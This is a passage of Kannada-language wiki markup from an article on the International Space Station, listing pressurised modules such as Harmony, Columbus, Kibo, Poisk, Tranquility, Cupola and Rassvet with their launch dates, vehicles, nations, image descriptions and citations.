ಸೊಯುಜ್-U, ಪ್ರೋಗ್ರೆಸ್ M-SO1 |ರಷ್ಯಾ |- |"[[File:Pirs docking module taken by STS-108.jpg|80px|alt=A ಇದು ಅತ್ಯಂತ ಚಿಕ್ಕದಾದ ಸಿಲಿಂಡರಿನಾಕಾರದ ಘಟಕವಾಗಿದ್ದು ಬಿಳಿ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ. ಅಲ್ಲದೇ ಅದರ ಒಂದು ತುದಿಯಲ್ಲಿ ಜೋಡಣಾ ಸಲಕರಣೆಯನ್ನು ಹೊಂದಿದೆ. ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಇತರ ಕೆಲವು ಘಟಕಗಳಿವೆ ಮತ್ತು ಕೆಲವು ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳಿವೆ.]] | |<ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/pirs.html|title=Pirs Docking Compartment|publisher=NASA|accessdate=28 March 2009|date=10 May 2006}}</ref> |-style="border-bttom: 3px Solid Grey" | | ''ಪರ್ಸ್'' ,ಸೊಯುಜ್ ಮತ್ತು ಪ್ರೋಗ್ರೆಸ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳಿಗೆ ISS ನೊಂದಿಗೆ ಜೋಡಣಾ ಸ್ಥಳವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಆಕಾಶ ನಡಿಗೆಗಾಗಿ ರಷ್ಯಾದ ಒರ್ಲ್ಯಾನ್ ಆಕಾಶ ಪೋಷಾಕನ್ನು ಧರಿಸಿ ಬರುವ ಗಗನಯಾತ್ರಿಗಳಿಗೆ ಪ್ರವೇಶ ಮತ್ತು ನಿರ್ಗಮನಕ್ಕೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಇದರ ಜೊತೆಯಲ್ಲಿ ಈ ಆಕಾಶ ಪೋಷಾಕುಗಳನ್ನು ಇಡಲು ಸೂಕ್ತ ಸ್ಥಳವನ್ನು ಕೂಡ ಕಲ್ಪಿಸಿಕೊಡುತ್ತದೆ. |- | ''ಹಾರ್ಮನಿ'' <br> <small>(ನೋಡ್ 2)</small> | 10A | 2007 ರ ಅಕ್ಟೋಬರ್ 23 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ {{OV|103|full=no}}, STS-120 | ಯುರೋಪ್ <small>(ನಿರ್ಮಾಣಗಾರ)</small><br>USA <small>(ಚಾಲಕ)</small> |- | [[File:Harmony Relocation.jpg|80px|alt=A ಹಿನ್ನೆಲೆಯಲ್ಲಿರುವ ಭೂಮಿಯೊಂದಿಗೆ ತೋರಿಸಲಾಗಿರುವ ಘಟಕ.ಇದು ಲೋಹದ ಸಿಲಿಂಡರಿನ ಆಕಾರದಲ್ಲಿರುವ ಘಟಕವಾಗಿದ್ದು , ಇದನ್ನು ISS ರೋಬಾಟ್ ಕೈ ನ ಕೊನೆಯಲ್ಲಿ ಅಂತರಿಕ್ಷದ ಕತ್ತಲೆಯೊಂದಿಗೆ ಚಿತ್ರಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಚಿತ್ರದ ಕೆಳಗಿನ ಭಾಗದಲ್ಲಿ ಇತರ ಕೆಲವು ISS ನ ಭಾಗಗಳನ್ನು ಕಾಣಬಹುದಾಗಿದೆ. ಘಟಕದ ಒಂದು ತುದಿಗೆ ಕಪ್ಪು ಕೋನ್ ಅನ್ನು ಸೇರಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಅತ್ಯಂತ ದೊಡ್ಡದಾದ ಬಿಳಿಯ ವರ್ತುಲವನ್ನು ಕೂಡ ನೋಡಬಹುದಾಗಿದೆ.]] |- | <ref>{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/node2.html|title=Harmony Node 2|publisher=NASA|date=26 September 2007|accessdate=28 March 2009}}</ref> |-style="border-bttom: 3px Solid Grey" | | ನಿಲ್ದಾಣದ ನೋಡ್ ಘಟಕಗಳಲ್ಲಿ ಎರಡನೆಯದಾಗಿದ್ದು, ''ಹಾರ್ಮನಿ'' ಯು ISS ನ ಹಲವು ಸೌಲಭ್ಯಗಳ ಉಪಯೋಗದ ಕೇಂದ್ರವಾಗಿದೆ. ಘಟಕವು ನಾಲ್ಕು ರಾಕ್ (ಕಪಾಟು) ಗಳನ್ನು ಹೊಂದಿದೆ. ಇವು ವಿದ್ಯುತ್ ಶಕ್ತಿಯನ್ನು, ಬಸ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ (ವಾಹಕ ಅಂಶಗಳ)ದತ್ತಾಂಶವನ್ನು ಒದಗಿಸುತ್ತವೆ. ಅಲ್ಲದೇ ಇಲ್ಲಿ ಆರು ಕಾಮನ್ ಬರ್ತಿಂಗ್ ಮೆಕ್ಯಾನಿಸಮ್ ನ(CBMs) ಮೂಲಕ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವ ಕೇಂದ್ರ ಬಿಂದುವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಯುರೋಪಿಯನ್ ''ಕೊಲಂಬಸ್'' ಮತ್ತು ಜಪಾನೀಯರ ''ಕಿಬೋ'' ಪ್ರಯೋಗಾಲಯಗಳು ಘಟಕಕ್ಕೆ ಕಾಯಂ ಆಗಿ ಸ್ಥಳಾವಕಾಶ ನೀಡಿವೆ. ಅಲ್ಲದೇ ಅಮೇರಿಕದ ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ಕಕ್ಷೆಗಾಮಿಗಳು PMA-2 ನ ಮೂಲಕ ISS ಅನ್ನು ಸಂಧಿಸುತ್ತವೆ. ಇದು ''ಹಾರ್ಮನಿ'' ಯ '''ಮುಂದಿನ ಭಾಗ''' ಕ್ಕೆ ಹೊಂದಿಕೊಂಡಿದೆ.'''''ಇದರ ಜೊತೆಯಲ್ಲಿ ಘಟಕವು, ಬಾನಗಾಡಿ ವ್ಯವಸ್ಥಾಪನ ವಿಮಾನಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಇಟಲಿಯನ್ ಮಲ್ಟಿ-ಪರ್ಪಸ್ ಲಾಜಿಸ್ಟಿಕ್ ಮಾಡ್ಯೂಲ್ ಗಳಿಗೆ (ಬಹು- ಉದ್ದೇಶ ವ್ಯವಸ್ಥಾಪನ ಸಾಗಣೆ ಘಟಕಗಳು) ಸ್ಥಳಾವಕಾಶವನ್ನು ಕಲ್ಪಿಸಿಕೊಡುತ್ತದೆ.''' '' |- | ''ಕೊಲಂಬಸ್'' <br> <small>(ಯುರೋಪಿಯನ್ ಪ್ರಯೋಗಾಲಯ)</small> | 1E | 2008 ರ ಫೆಬ್ರವರಿ 7 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಅಟ್ಲಾಂಟಿಸ್'' , STS-122 | ಯುರೋಪ್‌ |- | [[File:S122e007873.jpg|80px|alt=A ಬಾನಗಾಡಿಯ ಕಿಟಕಿಯಿಂದ ಕಾಣಿಸುತ್ತಿರುವ ಘಟಕ. ಘಟವುಕ ಲೋಹದ ಸಿಲಿಂಡರಿನ ಆಕಾರದಲ್ಲಿದ್ದು ಎರಡು ಬದಿಯಲ್ಲು ಚಪಟ್ಟೆಯಾಗಿರುವ ಕೋನ್ ಗಳನ್ನು ಹೊಂದಿದೆ. aಇದರ ಜೊತೆಯಲ್ಲಿ ಕ್ಯಾಮರಕ್ಕೆ ಎದುರಾಗಿ ಕಾಣುತ್ತಿರುವ ಅತ್ಯಂತ ದೂಡ್ಡ ಬಿಳಿಯ ವರ್ತುಲವನ್ನು ಕೂಡ ನೋಡಬಹುದಾಗಿದೆ. ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಬಾನಗಾಡಿಯ ರೆಕ್ಕೆಯನ್ನು , ISS ನ ಇತರ ಕೆಲವು ಎಲೆಕ್ಟ್ರಿಕ್ ಭಾಗಗಳನ್ನು ಅಂತರಿಕ್ಷದ ಕತ್ತಲೆಯನ್ನು ನೋಡಬಹುದಾಗಿದೆ.]] |- | <ref>{{cite news|url=http://www.nasaspaceflight.com/2008/01/prcb-plan-sts-122-for-net-feb-7-three-launches-in-10-11-weeks/|title=PRCB plan STS-122 for NET Feb&nbsp;7—three launches in 10–11 weeks|accessdate=12 January 2008|author=Chris Bergin|date=10 January 2008|publisher=NASASpaceflight.com}}</ref><ref>{{cite web|url=http://www.esa.int/esaHS/ESAAYI0VMOC_iss_0.html|title=Columbus laboratory|publisher=European Space Agency (ESA)|accessdate=6 March 2009|date=10 January 2009}}</ref> |-style="border-bttom: 3px Solid Grey" | | ಇದು ಯುರೋಪಿಯನ್ ಪೇಲೋಡ್ (ಗಗನನೌಕೆ ಹೊತ್ತೊಯ್ಯುವ ಉಪಕರಣಗಳು)ಗಳಿಗಾಗಿ ISS ನಲ್ಲಿ ಇರುವ ಪ್ರಾಥಮಿಕ ಸಂಶೋಧನಾ ಸೌಲಭ್ಯವಾಗಿದೆ. ''ಕೊಲಂಬಸ್'' ಯುರೋಪಿಯನ್ ಡ್ರಾವರ್ ರಾಕ್(ಜೀವಿಯ ತಳಿಯನ್ನು ಕಂಡುಹಿಡಿಯುವ ಪ್ರಯೋಗಾಲಯ) ಅನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಜೀವವಿಜ್ಞಾನ, ಜೀವ ವೈದ್ಯಕೀಯ ಸಂಶೋಧನೆ ಮತ್ತು ಸ್ರವ ವಿಜ್ಞಾನ ವಿಷಯಗಳಿಗೆಂದೇ ನಿರ್ದಿಷ್ಟವಾಗಿ ನಿರ್ಮಿಸಲಾದ ಸೌಲಭ್ಯಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ಈ ಘಟಕದ ಹೊರಾಂಗಣದಲ್ಲಿ ಅನೇಕ ಜೋಡಣಾ ಸ್ಥಳಗಳನ್ನು ಹೊಂದಿಸಲಾಗಿದೆ. ಇದು ಯುರೋಪಿಯನ್ ಟೆಕ್ನಾಲಜಿ ಎಕ್ಸಪೋಷರ್ ಫೆಸಿಲಿಟಿ (EuTEF), ಸೋಲಾರ್ ಮಾನಿಟರಿಂಗ್ ಅಬ್ಸರ್ವೇಟರಿ, ಮೆಟೀರಿಯಲ್ಸ್ ಇಂಟರ್ ನ್ಯಾಷನಲ್ ಸ್ಪೇಸ್ ಸ್ಟೇಷನ್ ಎಕ್ಸ್ಪೆರಿಮೆಂಟ್ ಮತ್ತು ಆಟೊಮಿಕ್ ಕ್ಲಾಕ್ ಎನ್ಸೆಂಬಲ್ ಇನ್ ಸ್ಪೇಸ್ ನಂತಹ ಬಾಹ್ಯ ಪ್ರಯೋಗಗಳಿಗೆ ಅಗತ್ಯ ಶಕ್ತಿ ಮತ್ತು ದತ್ತಾಂಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಕ್ವಾಂಟಮ್ ಭೌತಶಾಸ್ತ್ರ ಮತ್ತು ಬ್ರಹ್ಮಾಂಡದ ವಿಶ್ವವಿಜ್ಞಾನಗಳನ್ನು ಅಧ್ಯಯನ ಮಾಡುವ ಉದ್ದೇಶದಿಂದ ಘಟಕದಲ್ಲಿ ಅನೇಕ ಅಳತೆ ಮಾನಕ ವಿಸ್ತರಣೆಗಳನ್ನು ತರಲು ಯೋಜಿಸಲಾಗಿದೆ. |- | ''ಕಿಬೋ'' ಪ್ರಯೋಗ ವ್ಯವಸ್ಥಾಪನ ಘಟಕ <br><small>(lit. 'ಹೋಪ್'ಮತ್ತು 'ವಿಷ್' JEM–ELM)</small> | 1J/A | 2008 ರ ಮಾರ್ಚ್ 11 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಇನ್ ಡೆವರ್'' , STS-123 | ಜಪಾನ್‌ |- | [[File:Kibo ELM-PS on ISS.jpg|80px|alt=A ಒಂದು ತುದಿಯಲ್ಲಿರುವ ಚಪ್ಪಟ್ಟೆಯಾಗಿರುವ ಕೋನ್ ನೊಂದಿಗೆ ಚಿಕ್ಕ ಲೋಹದ ಸಿಲಿಂಡರ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಘಟಕ.ಘಟಕದ ಮೇಲೆ ಕಾಣುತ್ತಿರುವ ಅನೇಕ ಸಂಖ್ಯೆಯ ಬಂಗಾರದ ಬಣ್ಣದ ಕೈಗಂಬಿಗಳು. ಇದರೊಂದಿಗೆ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ISS ನ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಭಾಗಗಳನ್ನು ಕೂಡ ನೋಡಬಹುದಾಗಿದೆ.]] | |<ref name="nasa-jem">{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/jem.html|title=NASA—Kibo Japanese Experiment Module|publisher=NASA|date=23 November 2007|accessdate=28 March 2009}}</ref> |- style="border-bttom: 3px Solid Grey" | | ಇದು ಜಪಾನೀಯರ ಪರೀಕ್ಷಾ ಘಟಕದ ಪ್ರಯೋಗಾಲಯವಾದ ''ಕಿಬೋ'' ದ ಭಾಗವಾಗಿದೆ. ELM, ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ವಿಭಾಗಗಳೊಂದಿಗೆ ಆಂತರಿಕ ಸಾಗಾಟದ ಉಪಕರಣಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ.ಅಲ್ಲದೇ ಇದರ ಜೊತೆಯಲ್ಲಿ ಪ್ರಯೋಗಾಲಯಕ್ಕೆ ಸಂಗ್ರಹಣೆ ಮತ್ತು ಸಾಗಣೆ ವ್ಯವಸ್ಥೆಯ ಸೌಲಭ್ಯಗಳನ್ನು ಕೂಡ ಒದಗಿಸುತ್ತದೆ. |- | ''ಕಿಬೋ'' ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಘಟಕ<br> <small>(JEM–PM)</small> | 1J | 2008 ರ ಮೇ 31 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಡಿಸ್ಕವರಿ'' , STS-124 |ಜಪಾನ್‌ |- | [[File:STS-124 Kibo.jpg|80px|alt=A ಉದ್ದವಾದ ಲೋಹದ ಸಿಲಿಂಡರ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಘಟಕ. ಈ ಘಟಕವು ಕ್ಯಾಮರಕ್ಕೆ ಎದುರಾಗಿ ಸಿಲಿಂಡರ್ ನ ತುದಿಗೆ ಸೇರಿಸಲಾಗಿರುವ ರೋಬಾಟ್ ನ ಕೈ ಅನ್ನು ಹೊಂದಿದೆ. ಇದರೊಂದಿಗೆ ವಾಯುಬಂಧಬನ್ನು ಮತ್ತು ಮುಚ್ಚಿರುವಂತಹ ಅನೇಕ ಕಿಟಕಿಗಳನ್ನು ಹೊಂದಿದೆ. ಘಟಕದ ಬಲಬದಿಯಲ್ಲಿ ಜಪಾನೀಯರ ಧ್ವಜವಿದೆ. ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಬಾನಗಾಡಿ ಮತ್ತು ISS ನ ಇತರ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಭಾಗಗಳನ್ನು ಕಾಣಬಹುದಾಗಿದೆ. ಇದರೊಂದಿಗೆ ಹಿನ್ನೆಲೆಯ ರೂಪದಲ್ಲಿ ಅಂತರಿಕ್ಷದ ಕತ್ತಲೆಯನ್ನು ಕೂಡ ನೋಡಬಹುದಾಗಿದೆ.]] | | <ref name="nasa-jem" /><ref>{{cite web|url=http://kibo.jaxa.jp/en/about/|publisher=Japan Aerospace Exploration Agency (JAXA)|accessdate=6 March 2009|date=25 September 2008|title=About Kibo|archive-date=10 ಮಾರ್ಚ್ 2009|archive-url=https://web.archive.org/web/20090310171550/http://kibo.jaxa.jp/en/about/|url-status=dead}}</ref> |-style="border-bttom: 3px Solid Grey" | | ಇದು ಜಪಾನೀಯರ ''ಕಿಬೋ'' ಎಂಬ ಪರೀಕ್ಷಾ ಘಟಕದ ಪ್ರಯೋಗಾಲಯದ ಭಾಗವಾಗಿದೆ. PM ''ಕಿಬೋ'' ನ ಅತ್ಯಂತ ಮುಖ್ಯ ಘಟಕವಾಗಿದ್ದು, ಇದರಲ್ಲಿ ELM ಮತ್ತು (ಬಾಹ್ಯ ಸಂಪರ್ಕದ ಸೌಲಭ್ಯ)ಎಕ್ಸ್ ಪೋಸ್ಡ್ ಫೆಸಿಲಿಟಿಗಳಿಗೆ ಸ್ಥಳವಾಕಾಶವಿದೆ. ಪ್ರಯೋಗಾಲಯವು ISS ನ ಅತ್ಯಂತ ದೊಡ್ಡ ಏಕೈಕ ಘಟಕವಾಗಿದೆ. ಅಲ್ಲದೇ ಪ್ರಯೋಗದ 10 ರಾಕ್(ಕಪಾಟು) ಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಒಟ್ಟು 23 ರಾಕ್(ಕಪಾಟು) ಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಈ ಘಟಕವನ್ನು ಬಾಹ್ಯಾಕಾಶ ಔಷಧಿ, ಜೀವವಿಜ್ಞಾನ, ಪೃಥ್ವಿ ವೀಕ್ಷಣೆಗಳು, ವಸ್ತುಗಳ ಉತ್ಪಾದನೆ, ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನ ಸಂಪರ್ಕ-ಸಂವಹನಗಳ ವಿಷಯಗಳಲ್ಲಿ ಸಂಶೋಧನೆ ಮಾಡಲು ಬಳಸಲಾಗುತ್ತದೆ. PM, ಬಾಹ್ಯ ವೇದಿಕೆಗಳಿಗೆ ಮತ್ತು ಎಕ್ಸ್ಪೋಸ್ಡ್ ಫೆಸಿಲಿಟಿ (EF) (ಬಾಹ್ಯ ಸೌಲಭ್ಯ)ಗೆ ಜೋಡಣಾ ಸ್ಥಳವಾಗಿಯೂ ಕೂಡ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತದೆ. ಇದು ಉಪಕರಣಗಳನ್ನು ನೇರವಾಗಿ ಬಾಹ್ಯಾಕಾಶದ ಅಹಿತಕರ ವಾತಾವರಣಕ್ಕೆ ಒಡ್ಡಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. EF ಗೆ JEM–RMS ಘಟಕದ ರೋಬಾಟ್ ನ ಪ್ರಬಲವಾದ ತೋಳು ಶಕ್ತಿಯೂ ಸೇವೆಸಲ್ಲಿಸುತ್ತದೆ. ಇದನ್ನು PM ನ ಮೇಲ್ಭಾಗದಲ್ಲಿ ಜೋಡಣೆ ಮೂಲಕ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ. |- | ''ಪಾಯ್ಸ್ಕ್'' <br><small>(ಲಿಟ್. 'ಸರ್ಚ್')</small><br><small> (ಕಿರು-ಸಂಶೋಧನಾ ಘಟಕ 2)</small> | 5R | 2009 ರ ನವೆಂಬರ್ 10 | ಸೊಯುಜ್-U, ಪ್ರೋಗ್ರೆಸ್ M-MIM2 | ರಷ್ಯಾ |- | [[File:Poisk.Jpeg|80px|alt=A ಇದು ಚಿಕ್ಕ ಸಿಲಿಂಡರಿನಾಕಾರದ ಘಟಕವಾಗಿದ್ದು, ಬಿಳಿಯ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ. ಇದರೊಂದಿಗೆ ಚಿಕ್ಕ ಕಿಟಕಿಯನ್ನು ಹೊಂದಿದೆ. ಅಲ್ಲದೇ "ಸರ್ಚ್" ಅನ್ನು ಸೂಚಿಸುವ ರಷ್ಯಾದ ಪದವನ್ನು ಕಾಣಬಹುದಾಗಿದೆ. ಘಟಕಕ್ಕೆ ಅಂಟಿಕೊಂಡಿರುವುದು ಸಿಲಿಂಡರಿನಾಕಾರದಲ್ಲಿರುವ ಮತ್ತ್ತೊಂದು ಘಟಕವಾಗಿದೆ ಮತ್ತು ಕಂದು ಬಣ್ಣದ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ. ಸುತ್ತುವರಿದ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿ ಮತ್ತು ಮೂರನೆಯ ಘಟಕ, ಬಿಳಿ ಬಣ್ಣದ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದ್ದು ಚಿತ್ರದ ಮೇಲ್ಭಾಗದಲ್ಲಿ ಕಾಣಬಹುದಾಗಿದೆ.]] | <ref name="dc1_dc2">{{cite web|url=http://www.russianspaceweb.com/iss_dc.html|title=Docking Compartment-1 and 2|publisher=RussianSpaceWeb.com|author=Anatoly Zak|accessdate=26 March 2009}}</ref><ref name="Poisk">{{cite web|publisher=NASASpaceflight.com|author=Chris Bergin|date=10 November 2009|accessdate=10 November 2009|title=Russian module launches via Soyuz for Thursday ISS docking|url=http://www.nasaspaceflight.com/2009/11/live-russian-module-launch-towards-iss-on-soyuz/}}</ref> |- | | ರಷ್ಯನ್ ISS ಘಟಕಗಳಲ್ಲಿ ಇದು ಕೂಡ ಒಂದಾಗಿದೆ. ಸೊಯುಜ್ ಮತ್ತು ಪ್ರೋಗ್ರೆಸ್ ಆಕಾಶನೌಕೆಗಳನ್ನು ಪರಸ್ಪರ ಸಂಧಿಸುವಂತೆ ಮಾಡಲು MRM2 ಅನ್ನು ಆಕಾಶ ನಡಿಗೆಯ ವಾಯುಬಂಧದ ರೂಪದಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ವೈಜ್ಞಾನಿಕ ಪ್ರಯೋಗಗಳಿಗೆ ಅಂತರಕ್ರಿಯೆಯಾಗಿಯೂ ಕೂಡ ಬಳಸಲಾಗುತ್ತದೆ. |- | ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' <br><small>(ನೋಡ್ 3)</small> | 20A |2010 ರ ಫೆಬ್ರವರಿ 8 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಇನ್ ಡೆವರ್'' , STS-130 | ಯುರೋಪ್ <small>(ನಿರ್ಮಾಣಗಾರ)</small><br>USA <small>(ಚಾಲಕ)</small> |- | | [[File:Tranquility-node3.JPG|80px|alt=A ಇದು ಭೂಮಿಯ ಹೆನ್ನೆಲೆಗೆ ವಿರುದ್ಧವಾಗಿ ತೋರಿಸಲಾಗುತ್ತಿರುವ ಘಟಕವಾಗಿದ್ದು, ಇದನ್ನು ರೋಬಾಟ್ ನ ಕೈ ಹಿಡಿದುಕೊಂಡಿದೆ. ಇದು ಬಿಳಿಬಣ್ಣದ ವರ್ತುಲದೊಂದಿಗೆ ಅತ್ಯಂತ ದೊಡ್ಡ ಲೋಹದ ಸಿಲಿಂಡರ್ ಆಗಿರುವಂತಹ ಘಟಕವಾಗಿದ್ದು, ಇದನ್ನು ಕ್ಯಾಮರಕ್ಕೆ ಅರ್ಧ ಮುಖ ಮಾಡಿರುವಂತೆ ನೋಡಬಹುದಾಗಿದೆ.ಇದರ ಒಂದು ತುದಿಯಲ್ಲಿ ಕಾಣಿಸುತ್ತಿರುವಂತಹ ಚಿಕ್ಕ, ಶಂಕುವಿನಾಕಾರದ ಘಟಕ. ಇದು ಬಿಳಿಯ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ.]] | | <ref>{{cite web|url=http://www.space.com/news/090414-colbert-space-station-node.html|title=NASA Names Space Module After Moon Base, Not Stephen Colbert|publisher=Space.com|author=Robert Z. Pearlman|date=15 April 2009|accessdate=15 April 2009}}</ref><ref>{{cite web|accessdate=28 March 2009|publisher=European Space Agency (ESA)|url=http://www.esa.int/esaHS/ESAFQL0VMOC_iss_0.html|title=Node 3: Connecting Module|date=23 February 2009}}</ref> |-style="border-bttom: 3px Solid Grey" | |ಇದು ನಿಲ್ದಾಣದ US ನೋಡ್ ಗಳಲ್ಲಿ ಮೂರನೆಯ ಮತ್ತು ಕೊನೆಯ ನೋಡ್ ಆಗಿದೆ. ''ಟ್ರ್ಯಾಂಕ್ವಾಲಿಟಿ'' , ಸಿಬ್ಬಂದಿಯ ಬಳಕೆಗಾಗಿ ತ್ಯಾಜ್ಯ ಜಲವನ್ನು ಮರುಬಳಸುವಂತೆ ಮಾಡುವ ಹಾಗು ಸಿಬ್ಬಂದಿ ಉಸಿರಾಡಲು ಅಗತ್ಯ ಆಮ್ಲಜನಕ ಉತ್ಪಾದಿಸುವ ನಿರಂತರ ಜೀವ ರಕ್ಷಕ ವ್ಯವಸ್ಥೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ನೋಡ್ ಅಧಿಕವಾಗಿ ಜೋಡಣೆಯಾಗಿರುವ ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಘಟಕಗಳಿಗೆ ಅಥವಾ ಸಿಬ್ಬಂದಿ ಸಾಗಣೆ ವಾಹನಗಳಿಗೆ ನಾಲ್ಕು ತಂಗುದಾಣಗಳನ್ನು ಕೂಡ ಒದಗಿಸುತ್ತದೆ. ಈ ಸೌಲಭ್ಯವನ್ನು ನಿಲ್ದಾಣದ(ಇಂಧನ ದಹಿಸುವ ಕುಲುಮೆ ವ್ಯವಸ್ಥೆಗಾಗಿರುವ ಸ್ಥಳ) ಕ್ಯುಪೊಲಕ್ಕಾಗಿ ಇರುವ ಕಾಯಂ ತಂಗುದಾಣಗಳಿಗೆ ಹೆಚ್ಚುವರಿ ಸೇವೆಯಾಗಿ ಒದಗಿಸುತ್ತದೆ. |- | ''ಕ್ಯುಪೊಲ'' | 20A |2010 ರ ಫೆಬ್ರವರಿ 8 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಇನ್ ಡೆವರ್'' , STS-130 | ಯುರೋಪ್ <small>(ನಿರ್ಮಾಣಗಾರ)</small><br>USA <small>(ಚಾಲಕ)</small> |- | [[File:STS-130 Nicholas Patrick looks through Cupola.jpg|80px|alt= ಇದು ಅತ್ಯಂತ ಚಿಕ್ಕ ಘಟಕವಾಗಿದ್ದು, ಅಂತರಿಕ್ಷದ ಹಿನ್ನೆಲೆಗೆ ಎದುರಾಗಿರುವ ಇದರ ಏಳು ಕಿಟಕಿಗಳಲ್ಲಿ ಮೂರನ್ನು ನೋಡಬಹುದಾಗಿದೆ. ಪ್ರತಿ ಕಿಟಕಿಯ ನಂತರ ತೆರೆದ ಬಾಗಿಲನ್ನು ಕಾಣಬಹುದಾಗಿದೆ. ಅಲ್ಲದೇ ಗಗನಯಾತ್ರಿಗಳು ಕಿಟಕಿಗಳ ಮೂಲಕ ಘಟಕದ ಒಳಗೆ ನೋಡಬಹುದಾಗಿದೆ.]] | | <ref>{{cite web|publisher=European Space Agency (ESA)|url=http://www.esa.int/esaHS/ESA65K0VMOC_iss_0.html|accessdate=28 March 2009|title=Cupola|date=16 January 2009}}</ref> |- style="border-bttom: 3px Solid Grey" |ಕಾಲ್ಸ್ ಪ್ಯಾನ್="4"| ಕ್ಯುಪೊಲ ಎಂಬುದು ಒಂದು ವೀಕ್ಷಣಾ ಘಟಕವಾಗಿದ್ದು, ಇದು ISS ನ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರಿಗೆ ರೋಬಾಟ್ ನ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಮತ್ತು ಪರಸ್ಪರ ಸಂಧಿಸಿದ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯನ್ನು ನೋಡಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಅಲ್ಲದೇ ಪೃಥ್ವಿಯನ್ನು ನೋಡಲು ವೀಕ್ಷಣಾ ಸ್ಥಳವನ್ನು ಕೂಡ ಕಲ್ಪಿಸಿಕೊಡುತ್ತದೆ. ಈ ಘಟಕವು, SSRMS ಎಂಬ ರೋಬಾಟ್ ವ್ಯವಸ್ಥೆಯ ಕಾರ್ಯಾಚರಣೆಗೆ ಮತ್ತು ಸೂಕ್ಷ್ಮ ಉಲ್ಕಾಶಿಲೆಗಳು ಉಂಟುಮಾಡುವ ನಷ್ಟದಿಂದ ಕಿಟಕಿಯನ್ನು ಅದರ ಕದಗಳು ರಕ್ಷಿಸುವಂತೆ ಮಾಡಲು ರೋಬಾಟ್ ನ ಕಾರ್ಯಕೇಂದ್ರದೊಂದಿಗೆ ಸಜ್ಜಾಗಿ ಬರುತ್ತದೆ. |- | ''ರಾಸ್ವೆಟ್'' <br><small>(ಲಿಟ್. 'ಡಾನ್')</small><br><small>(ಕಿರು-ಸಂಶೋಧನಾ ಘಟಕ 1)</small> | ULF4 | 2010 ರ ಮೇ 14 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಅಟ್ಲಾಂಟಿಸ್'' , STS-132 |ರಷ್ಯಾ |- | [[File:Iss023e047527.jpg|80px|alt=ರಾಸ್ವೆಟ್ ಅನ್ನು ಜಾರ್ಯದ ನಾದಿರ್ ಜೋಡಣಾ ವಿಭಾಗಕ್ಕೆ ಅಳವಡಿಸಲಾಯಿತು.]] | |<ref name="Manifest" /> |- ಸ್ಟೈಲ್="ಬಾರ್ಡರ್-ಬಾಟಮ್: 3px ಸಾಲಿಡ್ ಗ್ರೆ" | | MRM1 ಅನ್ನು ನಿಲ್ದಾಣದಲ್ಲಿ ಸರಕನ್ನು ಸಂಗ್ರಹಿಸಲು ಮತ್ತು ಮಿತಿಗೊಳಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. |} ====ಪಟ್ಟಿಯಲ್ಲಿರುವ ಆರಂಭವಾಗಬೇಕಿರುವ ಕಾರ್ಯಯೋಜನೆ==== {| class="wikitable" style="width:auto;margin:auto" |- style="background:#efefef" !ಘಟಕ ! ಜೋಡಣಾ ಉದ್ದೇಶದ 